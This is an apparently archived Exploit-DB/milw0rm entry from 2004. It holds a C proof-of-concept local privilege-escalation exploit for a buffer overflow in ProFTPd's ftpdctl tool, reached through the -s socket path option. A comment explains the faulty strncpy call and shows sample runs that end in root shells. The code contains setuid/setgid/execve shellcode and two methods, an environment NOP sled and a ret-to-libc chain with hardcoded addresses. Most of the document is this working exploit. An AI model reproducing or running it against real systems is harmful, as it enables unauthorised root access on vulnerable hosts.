ProFTPd - 'ftpdctl' 'pr_ctrls_connect' Local Overflow

EDB-ID:

394

Author:

pi3

Type:

local

Platform:

Linux

Published:

2004-08-13

/*
 * This is simple local exploit (Proof of Concept?) for local bug in ProFTPd
 * not in default options (must be configured with option --enable-ctrls).
 * Bug exist in func
tion pr_ctrls_connect() in file "src/ctrls.c", look:
 *
 * "src/ctrls.c"
 * int pr_ctrls_connect(const char *socket_file) {
 *   ...
 *   struct sockaddr_un cl_sock, ctrl_sock;
 *
 *   ...
 *   ...
 *   memset(&ctrl_sock, 0, sizeof(ctrl_sock));
 *   ...
 *   ...
 *   strncpy(ctrl_sock.sun_path, socket_file, strlen(socket_file));
 *   ...
 *   ...
 * }
 *
 * How we can saw there is bad call for function strncpy(). Now look here
 * how look structure sockaddr_un:
 *
 * "/usr/include/X11/Xos.h"
 * ...
 * ...
 * #define X_NO_SYS_UN 1
 *
 * struct sockaddr_un {
 *         short   sun_family;
 *         char    sun_path[108];
 * };
 * #endif
 * ...
 * ...
 *
 * Hm more interesting... but what the fuck is socket_file?
 * Look here:
 *
 * "src/ftpdctl.c"
 * int main(int argc, char *argv[]) {
 *   ...
 *   char *socket_file = RUN_DIR "/proftpd.sock";
 *   ...
 *
 *   ...
 *   ...
 *   while ((optc = getopt(argc, argv, cmdopts)) != -1) {
 *     switch (optc) {
 *       ...
 *       ...
 *       case 's':
 *         if (*optarg != '/') {
 *           fprintf(stderr, "%s: alternate socket path must be an absolute "
 *             "path\n", program);
 *           return 1;
 *         }
 *
 *         socket_file = optarg;
 *         break;
 *       ...
 *       ...
 *   }
 *   ...
 *   ...
 *   if ((sockfd = pr_ctrls_connect(socket_file)) < 0) {
 *     fprintf(stderr, "%s: error contacting server: %s\n", program,
 *       strerror(errno));
 *     exit(1);
 *   }
 *   ...
 *   ...
 * }
 *
 * Ok... so we can control for strlen(socket_file) - third argument for strncpy()
 * and what bytes will be copy to destiny array sa we can do overflow.
 * Global call to vulnerability function who have bad call for strncpy() is
 * in the same function where we have control with socket_file.
 *
 * Ok know look for how work simple local PoC sploit:
 *
 * root@darkstar:~# ./p
 *
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
 *
 *         Ussage:
 *         [+] ./p [options]
 *
 *             -? <this help screen>
 *             -s choose a system of sploiting:
 *                    1 - sploiting by using environment
 *                    2 - PoC bypass non-exec stack (ret-to-libc)
 *             -o <offset>
 *             -p PATH
 *
 * root@darkstar:~#
 *
 * Let's run some option and look wheter it's work:
 *
 * root@darkstar:~# ./p -s 1
 *
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/local/bin/ftpdctl
 *
 * sh-2.05# exit
 * exit
 * root@darkstar:~#
 *
 * Ok, this option work good. What about second option? 
 * 
 * root@darkstar:~# ./p -s 2                                                  
 *                                                                            
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...           
 *                                                                            
 *         [+] Bulding buffors!                                               
 *         [+] Using LIBC_SYSTEM adres 0x40096870                             
 *         [+] Using LIBC_NEXT__ adres 0x41414141                             
 *         [+] Using "/BIN/SH"   adres 0xbfffee01                             
 *                                                                            
 * Executing the vuln program - /usr/local/bin/ftpdctl                        
 *                                                                            
 * sh-2.05# exit                                                              
 * exit                                                                       
 * Segmentation fault (core dumped)                                           
 * root@darkstar:~# gdb -q ftpdctl core                                       
 * (no debugging symbols found)...                                                 
 * Core was generated by `/usr/local/bin/ftpdctl -s /AAAAAAAAAAAAAAAAAAAAAAAA
 * AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.                                             
 * Program terminated with signal 11, Segmentation fault.                     
 * Reading symbols from /lib/libcrypt.so.1...done.                            
 * Loaded symbols for /lib/libcrypt.so.1                                      
 * Reading symbols from /lib/libc.so.6...done.                                
 * Loaded symbols for /lib/libc.so.6                                          
 * Reading symbols from /lib/ld-linux.so.2...done.                            
 * Loaded symbols for /lib/ld-linux.so.2                                      
 * #0  0x41414141 in ?? ()                                                    
 * (gdb) x/40x 0xbfffee01                                                     
 * 0xbfffee01:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee11:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee21:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee31:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee41:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee51:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee61:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee71:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee81:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee91:     0x60606060      0x60606060      0x60606060      0x60606060 
 * (gdb) q                                                                    
 * root@darkstar:~#                                                           
 *                                                                            
 * 0x60 is in ASCII array char '`'.
 *                                                                            
 * And that's all... Thanks for your expensive time to read this shit.
 * 
 * BIG greetz for appelast!
 * Best regards pi3 (pi3ki31ny).
 * 
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/local/bin/ftpdctl"
#define BUFS 229

#define LIBC_SYSTEM 0x40096870
#define LIBC_NEXT__ 0x41414141

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = 
  
/*    write() for stdout - monitor string -=[ www.pi3.int.pl ] =-    */
                   /*
                   "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
                   "\x80"
		   */

/*    setuid(0)    */
  
                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(void) {
//long ret_ad(char *a1, char *a2) {
//   return (0xbffffffa-strlen(a1)-strlen(a2));
     return 0xbfffee01;
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
	    -? <this help screen>
	    -s choose a system of sploiting:
	           1 - sploiting by using environment
		   2 - PoC bypass non-exec stack (ret-to-libc)
	    -o <offset>
	    -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret, *buf_addr;
   static char *sh[0x02];
   char envp[8196], *buf, *path=PATH;
   int i, wybor=0, opt, offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:s:?")) != -1) {
	 switch(opt) {
	 
	  case 's':
	  
            if (atoi(optarg) > 2 || atoi(optarg) < 1) {
               printf("Stupid!\n");
	       exit(-1);
	    }
	    
	    wybor=atoi(optarg);
	    break;
	    
	  case 'o':

	    offset=atoi(optarg);
	    break;
	    
	  case 'p':
	    
	    path=optarg;
	    break;
	    
	  case '?':
	  default:
	    
	    ussage(argv[0]);
	    break;
	 }
   }
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   if (!(buf=(char*)malloc(BUFS))) {
      printf("\nI can\'t locate memory! - buf\n");
      exit(-1);
   }

   if (wybor==0)
     ussage(argv[0]);
   
   if (wybor==1) {
      
      printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");
      ret=ret_ad(/*shellcode,path*/)-offset;
      printf("\t[+] Using adres 0x%x\n",ret);
      strcpy(buf,"/A");
      buf_addr=(long*)&buf[2];
      for (i=0x00;i<BUFS-2;i+=0x04) {
	 *(buf_addr++) = ret;
      }
      memset(envp,0x90,sizeof(envp));
      for (i=0x00; i<strlen(shellcode); i++)
	envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;
      printf("\nExecuting the vuln program - %s\n\n",path);
      execle(path,path,"-s",buf,0,sh);
      
   } else if (wybor==2) {

      printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");
      printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM);
      printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__);
      printf("\t[+] Using \"/BIN/SH\"   adres 0x%x\n",ret_ad());
      bzero(buf,sizeof(buf));
      strcpy(buf,"/");
      for (i=0x00;i<225;i++) {
        buf[1+i]=0x41;
      }
      buf_addr=(long*)&buf[226];
      *(buf_addr++) = LIBC_SYSTEM;
      *(buf_addr++) = LIBC_NEXT__;
      *(buf_addr++) = ret_ad();
      memset(envp,'`',sizeof(envp));
      strcpy(&envp[8196-strlen("/bin/sh")-1],"/bin/sh");
      sh[0x00]=envp;
      sh[0x01]=NULL;
      printf("\nExecuting the vuln program - %s\n\n",path);
      execle(path,path,"-s",buf,0,sh);
   }
   return 0;
}




// milw0rm.com [2004-08-13]